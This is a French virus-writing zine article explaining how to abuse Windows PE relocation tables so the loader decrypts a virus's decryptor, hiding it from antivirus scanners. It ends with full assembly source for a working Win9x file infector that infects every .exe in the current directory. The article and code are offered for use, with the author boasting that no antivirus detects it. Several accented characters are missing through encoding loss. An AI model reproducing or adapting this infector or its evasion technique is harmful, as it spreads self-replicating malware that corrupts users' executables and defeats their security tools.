------------------------------------------------------------------------------
                      Total encryption for PE infectors                  Kaze
------------------------------------------------------------------------------




 [ Introduction ]



Tres tt, pour chapper aux scanners, les virus ont adopt une mthode de
camouflage aujourd'hui trs rpendue: l'encryption. Cependant, aucun virus
ne peut s'encrypter totalement, le dcrypteur devant toujours tre en clair.
Enfin, ne pouvait ... :p C'est dsormais possible, grce  la magie Windows.
Imaginez ... votre virus est entirement crypt sur le disque et c'est
Windows, au chargement du PE, qui le dcrypte  votre place. Sympa non ?
Cette mthode n'est pas originale, ayant dj t prsente dans 29A#5 par
Tcp, mais trs brievement, avec peu d'explications et zro code. De plus, il
me semble que cette technique n'a jamais t reutilise dans des virii connus.
J'ai donc essay d'y remdier en apportant un exemple fonctionnel et plutot
efficace (pour l'instant, aucun AV ne l'a dtect, alors qu'il reste trs trs
simple).
Cet article n'est pas un tutoriel sur la programmation de PE infecteurs, il
assume que vous savez coder ce type d'infecteur et que vous avez quelques
bases en encryption. Si ce n'est pas le cas, allez lire le tut de rikenar.
Pour les remarques ou autre, n'hsitez pas:    kaze_0mx@yahoo.fr
                                               #vxers: irc.epiknet.org
					       http://www.fat4ever.fr.st



[ Sommaire ]

  I/   Description
  II/  Programmation
  III/ Code source
  IV/  Conclusion






  I/   Description
  ________________


Le format PE permet de prendre en charge un mcanisme assez interessant: la
relocation. Voyez plutt: lorsqu'un executable (ou un dll) est compil, le
linkeur assume que le programme sera charg  une certaine adresse en RAM.
Pour windows, cette adresse appele ImageBase est gnralement 0x400000.
99% du temps cette adresse est disponible dans le process et les relocations
n'auront pas lieu. C'est pour cela que quelques virus se recopient sur la
section des relocs, tant tres rarement utilise.  Mais lorsque par exemple
un executable et un  dll ayant tous deux une ImageBase de 0x400000  sont
chargs en RAM, ils ne  peuvent tre  chargs tous deux  0x400000. L'un des
deux devra donc tre  charg  une adresse diffrente, ce qui faussera alors
tout son adressage. C'est le mme principe que pour le delta offset:


                __________ 0x400000 _________
   -------------                             -------------
   | MZ HEADER |                             | MZ HEADER |
   |-----------|                             |-----------|
   | PE HEADER |                             | PE HEADER |
   |-----------|                             |-----------|
   |           |                             |           |
   |           |                             |           |
   |    EXE    |                             |    DLL    |
   | variable1 |<---  adresse variable1  --->| ........  |---?
   | variable2 |<---  adresse variable2  --->| ........  |   |  Decalage
   -------------       _______|________      |-----------|   |
                       etablies lors de      | MZ HEADER |   |
                        la compilation       |-----------|   |
                                             | PE HEADER |   |
                                             |-----------|   |
                                             |           |   |
                                             |           |   |
                                             |    EXE    |   |
                                             | variable1 |---
                                             | variable2 |
                                             -------------


 C'est pour remedier  ce problme que sont apparues les relocs. Elles se
 caracterisent sous forme d'une section gnralement nomme ".reloc" qui
 est en gros une liste d'adresses pointant vers chaque dword de l'executable
 qui contient une adresse absolue. Si l'executable est charg  une adresse
 differente de son ImageBase, alors le dcalage sera appliqu  toutes les
 adresses absolues de cette executables. Exemple:


 Mettons nous dans le cas d'un executable compil avec une ImageBase de
 0x400000, et qui ne peut tre charg qu' 0x500000. Dans son code, si il
 y avait un :
                                ...

        reloc:          mov eax,[0x401009]       ; B8  09 10 40 00
                                ...              ;= mov eax, offset variable1


	variable1 	dd 'VAR1'


avec offset variable1 gal  par exemple 0x401009, une relocation serait
applique lors de son chargement sur le dword  l'emplacement reloc+1, en
ajoutant 0x500000-0x400000 soit 0x100000. Ce qui donnerait finalement en
memoire:


	0x500000:
	         		...         relocation ( + 0x100000 )
                                  ____|___
        reloc:           mov eax,[0x501009]      ; B8  09 10 50 00
                 		...

        0x501009:            'VAR1'              ; "VAR1"  L'adresse est ok.
	        		...


Ainsi, bien que le code ait t charg  une adresse non prvue par le
compilateur, les relocations lui ont permis de fonctionner comme si de rien
n'tait, en ajoutant le dcalage ncessaire  chaque adresse de l'executable.
Et ce qui est intressant, c'est que ces additions sont effectues
automatiquement au chargement de l'executable...

Autre chose d'encore plus interressant est que quand windows rencontre une
ImageBase  laquelle il ne peut charger l'executable (par exemple < 0x400000)
ou >0x80000000), Windows le charge automatiquement  l'adresse 0x400000 et
applique les relocs en consquence.

Si l'on arrivait  modifier les relocs d'un PE pour qu'elles pointent vers
chaque dword de notre decrypteur, et si l'on forait les relocs  s'executer
en changeant l'ImageBase en disons  NewImageBase, que se passerait-il ? Et
bien tout d'abord, au chargement de l'executable,  chaque dword de notre
decrypteur serait ajoute la valeur ImageBase-NewImageBase  (il faudrait donc
bien sur l'encrypter avant en otant la valeur ImageBase-NewImageBase), et
quand notre virus  rendrait le contrle au PE hte, il crasherait.  Pourquoi ?
Parce qu'en faisant pointer les relocs vers notre decrypteur, nous avons
cras les anciennes relocs du PE. Et comme vu precedemment, si il est charg
 une adresse diffrente de son ImageBase sans relocations, son adressage
devient faux: il crash.

Mais si l'on infectait uniquement les PE ayant une ImageBase de 0x400000 et
que l'on changeait leur ImageBase en une NewImageBase  laquelle windows ne
peut pas charger l'executable (par ex. <0x400000), que se passerait-il ?
Et bien l'executable serait charg  l'adresse 0x400000 et les relocs seraient
appliques, et donc notre decrypteur decrypt. Mais l, le fichier ne
crasherait pas vu qu'il serait charg  son ImageBase et que ses relocs ne
seraient pas appliques, vu qu'on les a cras avec les notres. Voila donc ce
qu'il nous reste  faire...






  II/  Programmation
  __________________


Tout d'abord, voyons comment se prsentent ces relocations:
Une section reloc est constitue d'une suite de "RelocChunk", chacun portant
les informations de relocation pour 4k de code:

[ RELOC_CHUNK ]

        DWORD   RelocBase         ;Base (RVA)  partir de laquelle les relocs
                                  ;seront appliques.
        DWORD   RelocLen          ;Taille du RELOC_CHUNK
        WORD    Reloc1            ;Une reloc. Voir plus loin ...
        WORD    Reloc2            ;Une autre reloc. Voir plus loin ...
            ...
La fin des relocs est marque par un RELOC_CHUNK ayant pour Reloc_base le
dword 0.

Une reloc en elle-mme est un word, constitu comme suit:
Les 4 premiers bits (MSB) reprsentent le type de reloc  appliquer,  savoir:

RELOC_ABSOLUTE         EQU   0
Pas de signification, utilis pour aligner le RELOC_CHUNK sur 32bits.

RELOC_16BITS_HIGH      EQU   1
La relocation doit tre applique sur le word de poids fort (MSB) du dword
en question.

RELOC_16BITS_LOW       EQU   2
La relocation doit tre applique sur le word de poids faible (LSB) du dword
en question.

RELOC_32BITS           EQU   3
La relocation doit tre applique au dword, en entier.


Les 12 derniers bits (LSB) eux contiennent le dcalage par rapport  RelocBase
ou la reloc doit tre applique. D'ou le fait que chaque RELOC_CHUNK ne peut
adresser plus de 2^12 soit 4096 bytes.
Par exemple, si vous tombez sur un RELOC_CHUNK de ce type:

      0x00001000                ;RelocBase = 0x1000
      0x00000010                ;Taille du RELOC_CHUNK = 16 bytes
      0x3016                    ;reloc
      0x2020                    ;reloc
      0x3088                    ;reloc
      0x0000                    ;reloc

      0x00000000                ;RelocBase du RELOC_CHUNK suivant

On remarque que 3 relocations s'appliquent:
La premiere  la RVA 0x1000 + 0x0016 soit  0x1016 sur un dword.
La deuxime  la RVA 0x1020 sur le mot de poids faible du dword.
La troisime  la RVA 0x1088, sur un dword.
La quatrime n'indique rien, servant juste  aligner le RELOC_CHUNK sur
32bits.
Le RELOC_CHUNK qui suit termine la liste vu qu'il possde pour RelocBase le
dword 0.


Maintenant que nous avons toutes les informations en main, il ne nous reste
plus qu' appliquer le tout. Voila ce qu'il devrait se passer lors de
l'infection d'un fichier:


 1) Vrifier que son ImageBase est bien 0x400000, sinon exit.
 2) Modifier son ImageBase en une NewImageBase  laquelle win ne pourra le
    charger
 3) Soustraire la valeur (ImageBase-NewImageBase)  chaque dword du dcrypteur
 4) Si il n'y a pas de section .reloc, en creer une
 5) Modifier les relocs pour qu'elles pointent vers chaque dword du dcrypteur
 6) Infecter le fichier
 7) exit



Ainsi, le virus sera entirement crypt sur le disque, et automatiquement
dcrypt lors de son chargement en RAM. Plutot sympa ... Au lieu de juste
crypter un dcrypteur on pourrait bien sur crypter ainsi tout le virus, mais
cela necessiterait une section .reloc bien plus importante... La meilleure
solution  mon got reste donc d'utiliser une encryption mme simple et
d'encrypter uniquement le decrypteur via cette technique.


A partir de maintenant, j'assumerai que votre dcrypteur est de la forme:

debut:  call delta
delta:  pop ebp
        sub ebp,offset delta                          ;calcul le delta offset
        lea esi,[ebp+virus]	   ;esi --> code  dcrypter
        mov ecx,virus_len-(offset virus-offset debut) ;taille du virus -
        mov edi,esi                                   ;taille du decrypteur
encrypt:
        lodsb
        xor al,[ebp+encrypt_val]                      ;simple 8bits xor encrypt
        stosb
        loop encrypt
        jmp virus

encrypt_val db 0

        crypteur_len equ ($ - offset debut)/4+1       ;nombre de dword du
                                                      ;decrypteur + 1
ALIGN DWORD
virus:                                                ;dbut du virus ...



Il peut tre diffrent bien sur, mais il faudrait conserver les constantes
debut, virus et crypteur_len + le ALIGN DWORD.
Pour l' tape 1, rien de bien compliqu, il suffit de regarder  l'offset
34h du PE Header pour obtenir l'ImageBase.

;edx --> PE Header du fichier en train d'tre infect

        cmp dword ptr [edx+34h],0400000h
        jnz pasbon


Pour l'tape 2, il va nous falloir trouver une adresse  laquelle windows
ne pourra charger l'executable. Les valeurs possibles vont de 0 
0x400000 et de 0x80000000  0xFFFFFFFF. Le mieux serait d'en obtenir une
alatoirement. Pour obtenir un dword alatoire, chacun sa mthode.
Moi j'ai choisi de lire le TimeStamp  l'offset 08h du PE Header. Ca nous
donne un nombre diffrent pour chaque fichier infecteur, ce qui est
largement suffisant  mon got. Si cette valeur est  0, alors on peut
prendre comme valeur 0x100000, qui est l'ImageBase des vieilles applis
windows, comme ca ca ne fera pas trop suspect.
Tcp nous dit que WinNT n'admet que des ImageBase multiples de 64k, donc
on arrondira le rsulta final sur 64k.


;edx --> PE Header du fichier en train d'tre infect

        mov eax,[edx+8]            ; TimeDateStamp  (random...)
        test eax,eax
        jz hcrandom                ; Si 0, valeur par dfault.
findrandom:
        js ncrandom                ; Si >= 0x80000000 c'est bon.
        cmp eax,400000h
        jb ncrandom                ; si < 0x400000 c'est bon aussi.
        ror eax,1                  ; On ror la valeur jusqu' que ce soit bon.
        jmp findrandom
hcrandom:
        mov eax,0100000h           ; Old windows applications ImageBase
ncrandom:
        xor ax,ax                  ; NT/2000 Compatibility ?
        mov [edx+34h],eax          ; NewImageBase



Ensuite, il nous faut encrypter notre dcrypteur. Rien de bien compliqu l
encore.

;edi = Offset du virus sur le disque (pas en ram hein).

        mov esi,edi
        mov ebx,0400000h
        mov ecx,crypteur_len
        sub ebx,eax                ; Ebx = ImageBase - NewImageBase
encryptdcrypteur:
        lodsd
        sub eax,ebx                ; Encrypte le decrypteur.
        stosd
        loop encryptdcrypteur


Voila, c'est l'application bte et mchante de ce qui a t dit plus haut.



Pour l'tape 4, je ne proposerai pas de code car cela dpend normment de
votre virus. Si vous voulez des exemples, allez voir le code source. Juste
quelques indices: pour savoir si une section de relocs est prsente, il suffit
de regarder  l'offset 0xA0 du PE Header. Vous trouverez la RVA des
relocations. Si elle est gale  0, alors il n'y a pas de relocs et il vous
faudra alors creer une nouvelle section pour les y mettre. J'ai dj essay de
mettre les relocs dans la mme section que le virus, mais pour des raisons
obscures que j'aimerais bien connaitre, ca n'a jamais fonctionn. L'unique
solution que j'ai trouv a t de creer une nouvelle section.
Nommez cette section ".reloc", avec pour flags 0x50000040. Pour VirtualAddress
et RawAddress,  vous de voir. Pour VirtualSize, c'est simple, c'est:

        Relocs.VirtualSize = (crypteur_len*2) + 8.

*2 car une reloc fait deux bytes et + 8 pour le header du RELOC_CHUNK. Pour la
RawSize, il suffit juste d'arrondir la VirtualSize sur le FileAlignement



Maintenant que nous sommes surs qu'une section .reloc existe, qu'elle soit
dj l ou qu'elle ait t cre par notre virus, il ne nous reste plus qu' la
remplir pour que notre dcrypteur soit dcrypt au chargement du PE infect.
Il nous faut localiser la section  contenant les relocs et rcuprer son
RawOffset (adresse sur le disque), puis y crire un RELOC_CHUNK qui appliquera
des RELOC_32BITS sur chaque dword de notre decrypteur. Pour localiser la
section des relocs (section cre ou dj prsente), la solution la plus sure/
simple consiste  regarder  l'offset 0xA0 du PE Header ou se trouve la RVA
des relocs. Il suffit ensuite de parcourir chaque section header et celui qui
possde comme VirtualAddress cette RVA est le header de la section des relocs.
On regarde son RawOffset et c'est gagn.



;edx --> PE Header du fichier en train d'tre infect.
;esi = VirusRVA (RVA du virus dans le PE infect, souvent gal  SizeOfImage).
;edi = Adresse ou est mapp le fichier (grace a MapViewOfFile)

 push edi
 mov eax,[edx+0A0h]              ;Relocs RVA.
 lea edi,[edx+18h]               ;edi --> OptionalHeader.
 movzx ecx,word ptr[edx+14h]     ;SizeOfOptionalHeader.
 add edi,ecx                     ;edi --> sections headers.
 movzx ecx,word ptr [edx+6]      ;ecx=nombre de sections
 imul ecx,ecx,28h/4              ;Un header de section = 28h bytes.
 repnz scasd                     ;Cherche dans les sections celle qui a pour
 jnz erreur                      ;VirtualAdress RelocRVA
                                 ;(section .reloc deja l ou prealablement cre)
 mov ebx,[edi+4]                 ;RawOffset (VirtualAddress+8)
 pop edi
 add ebx,edi                     ;edi--> Fichier mapp grce  MapViewOfFile.
                                 ;ebx--> Relocs (sur le disque toujours hein).
 mov [ebx],esi                           ;esi = VirusRVA = RelocBase.
 mov [ebx+4],dword ptr crypteur_len*2+8  ;taille des relocs (meme un peu +)
 mov ecx,crypteur_len                    ;nombre de relocs a effectuer
 xor eax,eax                     ;1ere reloc a l'offset (relatif a RelocBase) 0
 add ebx,8                       ;on commence ...
 or ax,3000h                     ;type de reloc: RELOC_32bits

relloop:
 mov [ebx],ax                    ;crit une reloc
 add ax,4                        ;un dword plus loin: prochaine reloc 
                                 ;effectuer
 add ebx,2                       ;1 reloc = 1 word
 loop relloop
 and [ebx],dword ptr 0           ;marque la fin des relocs en mettant l
relocsdone:                      ;RelocBase du prochain RELOC_CHUNK  0






  III/ Code Source
  ________________


;----------------------------------------------------------------------------;
;FICHIER : Reloc.asm                                                         ;
;NOM     : Win9x.reloc                                                       ;
;DATE    : 12/01/2003                                                        ;
;VERSION : 0.4                                                               ;
;AUTEUR  : kaze <kaze_0mx@yahoo.fr>                                          ;
;CIBLE   : PE                                                                ;
;OS      : Windows 95/98                                                     ;
;STEALTH : 32bits xor encryption + 32bits add/sub via relocs encryption      ;
;INFECT  : Ajout de sections                                                 ;
;TAILLE  : 1409 bytes                                                        ;
;PAYLOAD : MessageBoxA                                                       ;
;DESC    : Ce virus est une simple application de ce tut et en rien un       ;
;          exemple. Il a t simplifi au possible dans ce but. N'infecte que;
;          les PE du rep courant, enfin, normalement :p                      ;
;COMP    : tasm32 /ml /l /m3 reloc                                           ;
;          tlink32 /Tpe /aa  reloc,,,import32.lib                            ;
;          makeex reloc.exe (rend la section .code executable)               ;
;----------------------------------------------------------------------------;

.386p
.model flat,STDCALL
extrn MessageBoxA:PROC
extrn ExitProcess:PROC

call_ macro x
        call [ebp+x]
endm

.data
db 'Win9x.reloc coded by kaze/FAT'

.code
debut:                          ;Entry Point

;================================= (DE)CRYPTEUR ==============================

        call delta
delta:  pop ebp
        sub ebp,offset delta
        lea esi,[ebp+gogogo]
        mov ecx,(virus_len - (offset gogogo-offset debut))/4+1
        push esi
        mov edi,esi

encrypteur proc near
encrypt:
        lodsd
        xor eax,[ebp+encrypt_val]
        stosd
        loop encrypt
        ret
encrypt_val dd 0
encrypteur endp
        crypteur_len equ ($ - offset debut)/4+1
ALIGN DWORD

;====================== RECHERCHE DE L'ADRESSE DE K32 =========================

gogogo:
        mov ebx,[esp]
        and ebx,0FFFF0000h
scan_mem:
        cmp [ebx],word ptr 'ZM' ; est-on au debut d'un MZ header ?
        jz valide_pe            ; on y est
rescan_mem:
        sub ebx,10000h          ; prochain alignement de 64k (page)
        jmp scan_mem

valide_pe:                      ; ebx pointe vers le MZ header
        mov ecx,[ebx+3ch]       ; ecx=taille du MZ header
        add ecx,ebx             ; ecx pointe vers le PE header
        cmp ecx,dword ptr [esp] ; est-ce une adresse coherente ?
        ja rescan_mem           ; non, on y retourne
        cmp word ptr [ecx],'EP' ; c'est bien le PE header ?
        jnz rescan_mem          ; non, on y retourne

        push [ebp+AncienEP]

;================= RECHERCHE DE L'ADRESSE DE GetProcAddress ==================

                                ; ebx=base de kernel32
        mov esi,[ecx+78h]       ; export
        add esi,ebx
        mov edi,[esi+12]
        add edi,ebx
        cmp dword ptr [edi],'NREK'      ;c'est bien les infos pour kernel32?
        jnz erreur                      ;non

        add esi,1ch             ; esi--> adresse des fonctions
        lea edi,[ebp+adrfonc]
        mov ecx,3

getinfo:
        lodsd
        add eax,ebx             ; RVA2offset
        stosd
        loop getinfo

        mov esi,[ebp+adrname]   ; esi-->table des offsets des noms
newfnc: lodsd                   ; donne l'adresse d'un nom
        add eax,ebx             ; RVA2offset
        mov edi,eax
        push esi
        lea esi,[ebp+api1]
        mov ecx,15
        repz cmpsb
        jz yaowyaow
        pop esi
        jmp newfnc

yaowyaow:
        pop eax
        xor esi,esi
        sub eax,4               ; lodsd oblige
        sub eax,[ebp+adrname]   ; c'est maintenant une rva
        shr eax,1               ; eax=index *2
        add eax,[ebp+adrord]
        mov si,[eax]
        shl esi,2
        add esi,[ebp+adrfonc]
        lodsd
        add eax,ebx             ; eax=adresse de GetProcAddress
        mov [ebp+GetProcAddress],eax
        mov ecx,nbrapis


        call ChercheApis        ; cherche les autres apis maintenant
        call InfectRep          ; Infecte le rep courant
        test ebp,ebp            ; premiere generation ?
        jz hostcode

;================================= PAYLOAD ====================================

        xor eax,eax
        lea edx,[ebp+nomsection]
        lea ebx,[ebp+message]
        push eax
        push edx
        push ebx
        push eax
        call_ MessageBox

        pop eax                 ; eax = Ancien EntryPoint
        add eax,400000h         ; N'infecte que les PE avec ImageBase=0x400000
        jmp eax

erreur: jmp erreur

nbrapis equ 10
api1 db 'GetProcAddress',0
api2 db 'GetModuleHandleA',0
api4 db 'FindFirstFileA',0
api8 db 'FindClose',0
api9 db 'CloseHandle',0
apiA db 'CreateFileA',0
apiB db 'SetFileAttributesA',0
apiC db 'FindNextFileA',0
apiD db 'MapViewOfFile',0
apiE db 'CreateFileMappingA',0
apiF db 'UnmapViewOfFile',0
mask db '*.exe',0
nomsection db 'kaze/FAT',0
message db 'Infection reussie',0
user32 db 'User32.dll',0
nMessageBoxA db 'MessageBoxA',0
AncienEP dd 0

;================================= FONCTIONS =================================

InfectPE proc near              ; eax-->fichier
        push eax
        mov edx,[eax+3Ch]
        add edx,eax             ; edx-->PEHeader
        xor ecx,ecx

        lea esi,[edx+18h]
        mov cx,[edx+14h]        ; SizeOfOptionalHeader
        add esi,ecx             ; esi-->sections
        mov [ebp+sectionaddr],esi
        mov bx,word ptr [edx+6]
        mov eax,28h
        inc word ptr [edx+6]
        cmp [ebp+nbrsections],24
        jnz une_seule_section_a_rajouter
        inc word ptr [edx+6]
une_seule_section_a_rajouter:
        push edx
        mul bx
        pop edx
        add esi,eax
        xor eax,eax
        mov ecx,[ebp+nbrsections] ; soit 28h/4, soit (28h/4)*2 si section
                                  ; '.reloc' en +
        mov edi,esi
        repz scasd              ; y'a-t-il de la place ?
        jnz byebye              ; non
        mov ebx,esi
        mov edi,esi
        lea esi,[ebp+nomsection]
        movsd                   ; Recopie 'kaze/FAT'
        movsd
        mov [edi],dword ptr virus_len + Heap_len+100h   ; VirtualSize
        mov esi,[edx+50h]       ; SizeOfImage
        mov [edi+4],esi         ; VirtualAdress = SizeOfImage
        mov ecx,[edx+3ch]       ; File alignement
        push edx                ; Aligne la taille du virus sur
        xor edx,edx             ; le file_alignement
        mov eax,virus_len
        mov ebx,eax
        div ecx
        sub ecx,edx
        add ebx,ecx
        pop edx
        mov [edi+8],ebx         ; file size
        mov eax,[ebp+WFD_nFileSizeLow]
        mov [edi+12],eax        ; file offset
        mov [edi+1Ch],0F0000060h

        cmp dword ptr [ebp+nbrsections],12  ; Faut-il rajouter aussi une .reloc?
        jz yarelocs2                        ; Non, y'en a deja une.
        mov [edi+20h],'ler.'
        mov [edi+24h],'  co'
        mov [edi+28h],dword ptr crypteur_len+10
        mov eax,esi                     ; Esi = SizeOfImage = VirusRVA
        add eax,1000h                   ; Rajoute 1000h (virus< 1000h)
        mov [edi+2Ch],eax               ; VirtualAddress
        mov [edx+0A0h],eax              ; RelocRVA = VirtualAddress de .reloc
        mov eax,[ebp+tailleajustee]
        mov ecx,[ebp+alignement]
        mov [edi+30h],ecx               ; RawSize (pas beaoucoup de relocs,
                                        ; un alignement suffit)
        sub eax,ecx
        mov [edi+34h],eax               ; RawOffset=Tailledufichier - 1
                                        ; alignement (largement suffisant)
        mov [edi+44h],050000060h        ; Flags
yarelocs2:
        mov ecx,[edx+50h]               ; Ecx = SizeOfIMage = VirusRVA
        xchg [edx+28h],ecx              ; PEHeader:28h = EntryPoint
        mov [ebp+AncienEP],ecx
;preparation des relocs
        mov eax,[edx+78h+40]            ; Reloc RVA
        xor ecx,ecx
        mov edi,[ebp+sectionaddr]       ; Cherche dans les sections celle qui
        mov cx,word ptr [edx+6]         ; a pour VirtualAdress RelocRVA
        imul ecx,ecx,28h/4              ; ( section deja l ou
        repnz scasd                     ; pralablement cre )
        jnz erreur
        mov ebx,[edi+4]                 ; RawOffset (VirtualAddress + 8)
        pop edi                         ; MapOffset
        add ebx,edi
        mov [ebx],esi                           ; Esi=SizeOfImage= RelocBase
        mov [ebx+4],dword ptr crypteur_len*2+8  ; Taille des relocs
        mov ecx,crypteur_len                    ; Nombre de relocs a effectuer
        xor eax,eax                     ; Premiere reloc a l'offset
                                        ; (relatif a RelocBase) 0
        add ebx,8                       ; RELOC_CHUNK + 8 ...
        or ax,3000h                     ; Type de reloc: 32bits
relloop:
        mov [ebx],ax
        add ax,4                        ; Un dword plus loin: prochaine
                                        ; reloc.
        add ebx,2                       ; 1 reloc = 1 word.
        loop relloop
        and [ebx],dword ptr 0           ; Marque la fin des relocs.
        mov eax,[ebp+encrypt_val]       ; Change la cl de cryptage
relocsdone:
        add eax,07050301h
        ror eax,3
        test eax,eax                     ; Si cl=0 alors pas de cryptage :/
        jz relocsdone
        mov [ebp+encrypt_val],eax
        mov [edx+78h+40+4],dword ptr crypteur_len*2+8+4  ;RelocSize
        add edi,[ebp+WFD_nFileSizeLow]         ; Pointe vers la fin du fichier
        push edi
        lea esi,[ebp+debut]
        mov ecx,virus_len
        add [edx+50h],dword ptr 2000h    ; Virus_len+Heap_len
        rep movsb                        ; Recopie le virus ....
        pop edi
        mov esi,edi
        mov eax,[edx+8]            ;TimeDateStamp  (random...)
findrandom:                        ; L on choisit une ImageBase alatoire
        test eax,eax               ;  laquelle win ne pourra charger l'exe
        jz hcrandom                ; l on choisit une valeur par dfault.
        js ncrandom                ; si > 0x80000000 c'est bon.
        cmp eax,400000h
        jb ncrandom                ; si < 0x400000 c'est bon aussi.
        ror eax,1
        jmp findrandom
hcrandom:
        mov eax,0100000h           ; Old windows applications ImageBase
ncrandom:
        xor ax,ax                  ; NT/2000 Compatibility
        mov [edx+34h],eax          ; ImageBase
        mov edx,edi
        mov ebx,0400000h
        sub ebx,eax                ; Ebx = ImageBase - NewImageBase
        mov ecx,crypteur_len
encrelocs:
        lodsd
        sub eax,ebx                ; Encrypte le decrypteur.
        stosd
        loop encrelocs
        mov edi,edx
        add edi,(offset gogogo-offset debut)
        mov ecx,(virus_len - (offset gogogo-offset debut))/4+1
        mov esi,edi                          ; Esi=edi --> virus mapp dans le
                                             ; fichier.
        call encrypteur                      ; Encrypte tout le virus
                                             ; sauf le dcrypteur
byebye:
        ret
InfectPE endp

InfectRep proc near
        lea esi,[ebp+WFD]
        lea eax,[ebp+mask]
        push esi
        push eax
        call_ FindFirstFile
        inc eax
        jz badrep
        dec eax
        mov [ebp+Shandle],eax
unautreverre?:
        lea esi,[ebp+WFD_szFileName]
        call Infection
        lea eax,[ebp+WFD]
        push eax
        push [ebp+Shandle]
        call_ FindNextFile
        test eax,eax                    ; Dernier fichier ?
        jnz unautreverre?
        push [ebp+Shandle]
        call_ FindClose
badrep: ret
InfectRep endp

Infection proc near                     ; Esi--> WFD_szFileName
        push ecx
        push 80h
        push esi
        call_ SFA
        xor eax,eax
        push eax
        push eax
        push 3
        push eax
        inc eax
        push eax
        push 0C0000000h
        push esi
        call_ CreateFile
        inc eax
        jz peuxpas
        dec eax
        mov [ebp+Fhandle],eax

        mov edi,[ebp+WFD_nFileSizeLow]
        call CreateMappedFile
        test eax,eax
        jz mappas
        mov [ebp+Mhandle],eax
        call MapFile
        test eax,eax
        jz veuxpas
        mov [ebp+MapOff],eax
        mov dword ptr [ebp+nbrsections],12
        mov esi,[eax+3Ch]
        cmp esi,edi
        jae pasbon                        ; Si MZ, evite une violation de page
        add esi,eax
        cmp dword ptr [esi],'EP'
        jnz pasbon
        cmp dword ptr [esi+34h],0400000h
        jnz pasbon
        xor ecx,ecx
        cmp dword ptr [esi+78h+40],0      ; Reloc RVA
        mov esi,[esi+3Ch]                 ; File Alignement
        mov [ebp+alignement],esi
        jnz yarelocs
        add dword ptr [ebp+nbrsections],12; Si y'a pas de relocs, alors 2
                                          ; sections a rajouter
        mov ecx,esi
yarelocs:
        push ecx
        push [ebp+MapOff]
        call_ UMVOFile
        push [ebp+Mhandle]
        call_ CloseHandle
        xor edx,edx
        add edi,virus_len                 ; Edi = fichier + virus
        mov eax,edi
        div esi
        sub esi,edx
        add edi,esi                       ; Edi = tailletotale + ( alignement-
                                          ; tailletotale%Alignement)
        pop ecx
        add edi,ecx                       ; Ajoute ou non l'espace pour les
                                          ; relocs (espace = 1 alignement)
        mov [ebp+tailleajustee],edi       ; Sauve la taille finale du fichier
        call CreateMappedFile
        mov [ebp+Mhandle],eax
        call MapFile
        mov [ebp+MapOff],eax
        call InfectPE                     ; On l'infecte

pasbon: push [ebp+MapOff]
        call_ UMVOFile
veuxpas:push [ebp+Mhandle]
        call_ CloseHandle
mappas: push [ebp+Fhandle]
        call_ CloseHandle
peuxpas:push [ebp+WFD_dwFileAttributes]
        lea eax,[ebp+WFD_szFileName]
        push eax
        call_ SFA
        pop ecx
        ret
Infection endp

ChercheApis proc near
        lea esi,[ebp+api2]
        lea edi,[ebp+GetModuleHandle]
chapis: push ecx
        push esi
        push ebx
        call_ GetProcAddress
        pop ecx
        test eax,eax
        jz erreur
        stosd
yy:     lodsb
        test al,al
        jnz yy
        loop chapis
        lea eax,[ebp+user32]
        push eax
        call_ GetModuleHandle
        test eax,eax
        jz erreur
        lea edx,[ebp+nMessageBoxA]
        push edx
        push eax
        call_ GetProcAddress
        mov [ebp+MessageBox],eax
        ret
ChercheApis endp

MapFile         proc            ;edi=taille
        xor     eax,eax
        push    edi
        push    eax
        push    eax
        push    00000002h
        push    [ebp+Mhandle]
        call_    MVOFile
        ret
MapFile         endp

CreateMappedFile proc near      ;edi=taille
        xor eax,eax
        push eax
        push edi
        push eax
        push 00000004h
        push eax
        push [ebp+Fhandle]
        call_ CreateFileMapping
        ret
CreateMappedFile endp
dd 0
endvirus equ $
virus_len equ $-offset debut

;================================= HEAP START ================================

alignement              dd ?
tailleajustee           dd ?
sectionaddr             dd ?
adrfonc                 dd ?
adrname                 dd ?
adrord                  dd ?
nbrsections             dd ?

GetProcAddress          dd ?
GetModuleHandle         dd ?
FindFirstFile           dd ?
FindClose               dd ?
CloseHandle             dd ?
CreateFile              dd ?
SFA                     dd ?
FindNextFile            dd ?
MVOFile                 dd ?
CreateFileMapping       dd ?
UMVOFile                dd ?
Beep                    dd ?
MessageBox              dd ?

Shandle                 dd ?
Fhandle                 dd ?
Mhandle                 dd ?
MapOff                  dd ?
FT                      dd ?

WFD label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      dd      ?
                        dd      ?
WFD_ftLastAccessTime    dd      ?
                        dd      ?
WFD_ftLastWriteTime     dd      ?
                        dd      ?
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName          db      260 dup (?)
WFD_szAlternateFileName db      13 dup (?)
                        db      03 dup (?)
Heap_len equ $ - endvirus

;=========================== *PREMIERE GENERATION* ===========================
hostcode:
        push 0
        push offset t1
        push offset m1
        push 0
        call MessageBoxA
        mov eax,virus_len
        call printdec
        push 0
        call ExitProcess
t1 db ' Win9x.Sankei ',0
t2 db ' Taille du virus :',0
m1 db ' Lancement ok ',0

printdec proc near
        pusha
        cld
        lea edi,buf
        mov ebx,10
        xor ecx,ecx
GUI_printdec_1:
        xor edx,edx
        div ebx
        push edx
        inc ecx
        test eax,eax
        jnz GUI_printdec_1
GUI_prindec_2:
        pop eax
        add eax,48
        stosb
        loop GUI_prindec_2
        xor eax,eax
        stosb
        push eax
        push offset t1
        push offset buf
        push eax
        call MessageBoxA
        popa
        ret
printdec endp
buf db 20 dup (?)

end debut





  IV/  Conclusion
  _______________


Voila qui devrait donner un petit peu de boulot aux AVers.
Nanmoins, cette technique possde ses faiblesses:
en effet, vu que l'ImageBase doit tre un multiple de 64k, il n'y  que le
mot de poids fort de chaque dword de notre (d)crypteur qui est (d)crypt,
rendant possible le scan.
Une solution serait d'appliquer une RELOC_32bits non pas  chaque dword du
dcrypteur mais  chaque word, ou mieux encore, d'ajouter un peu de
polymorphisme  l'affaire.
Je ne sais pas ce qu'il en est des mulateurs, si ils prennent en charge
les relocations ou non.
Si vous etes au courant, mailez-moi.

Le virus en lui-meme reste tres tres simple et vous ne devriez pas avoir de
problemes pour le comprendre.
Si c'est le cas, l encore, n'hsitez pas  me demander.


                                                 ¿
                                                 ³ kaze/FAT  ¿
                                                 ³ kaze_0mx@yahoo.fr ³
                                                 ³ Epiknet    #vxers ³
                                                 